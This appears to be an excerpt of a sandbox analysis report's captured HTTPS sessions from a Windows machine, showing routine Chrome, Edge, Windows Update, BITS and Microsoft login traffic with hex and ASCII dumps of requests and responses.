2024-11-21 18:58:26 UTC	372	IN	Data Raw: 31 62 36 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1b61)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-21 18:58:26 UTC	1085	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 31 34 31 39 31 37 31 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700324,3700949,3701384,101419171],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-11-21 18:58:26 UTC	281	IN	Data Raw: 31 31 32 0d 0a 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 29 72 65 74 75 72 6e 20 61 2e 69 5b 62 5d 3b 74 68 72 6f 77 20 6e 65 77 20 44 64 3b 7d 3b 5f 2e 46 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 45 64 28 5f 2e 6b 64 2e 69 28 29 2c 61 29 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c Data Ascii: 112extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i)return a.i[b];throw new Dd;};_.Fd\u003dfunction(a){return _.Ed(_.kd.i(),a)};\n}catch(e){_._DumpException(e)}\ntry{\n/\n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n/\nvar Id;_.Gd\
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 Data Ascii: 8000\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.t
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e Data Ascii: 3dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfun
2024-11-21 18:58:26 UTC	1390	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c Data Ascii: lassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49705	142.250.181.100	443	5584	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 18:58:26 UTC	933	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 18:58:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 18:58:26 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-21 18:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49722	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 18:58:30 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF57) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=164776 Date: Thu, 21 Nov 2024 18:58:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49715	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2F3VOfa2vwF4Y15&MD=lN4bUNbC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-21 18:58:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 68bd8500-d216-49e9-a10a-41128865938a MS-RequestId: 0e78e26c-33fe-4e9c-b5dc-334191a64029 MS-CV: LgKdWD5VA0qtUL11.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Nov 2024 18:58:30 GMT Connection: close Content-Length: 24490
2024-11-21 18:58:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-21 18:58:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49727	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-21 18:58:32 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=164830 Date: Thu, 21 Nov 2024 18:58:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-21 18:58:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49741	94.245.104.56	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:39 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 21 Nov 2024 18:58:39 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=4c3badee49d7a7bd1a84fc06a7fc4ce1fa385e6541e43b9f60ae9b9ee2cf1cd2;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49748	20.190.147.6	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-21 18:58:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 18:58:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 18:57:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: e9f1b7d7-fdde-40f1-b024-1f36c02137fe PPServer: PPV: 30 H: BL02EPF0001D816 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 18:58:40 GMT Connection: close Content-Length: 11389
2024-11-21 18:58:41 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 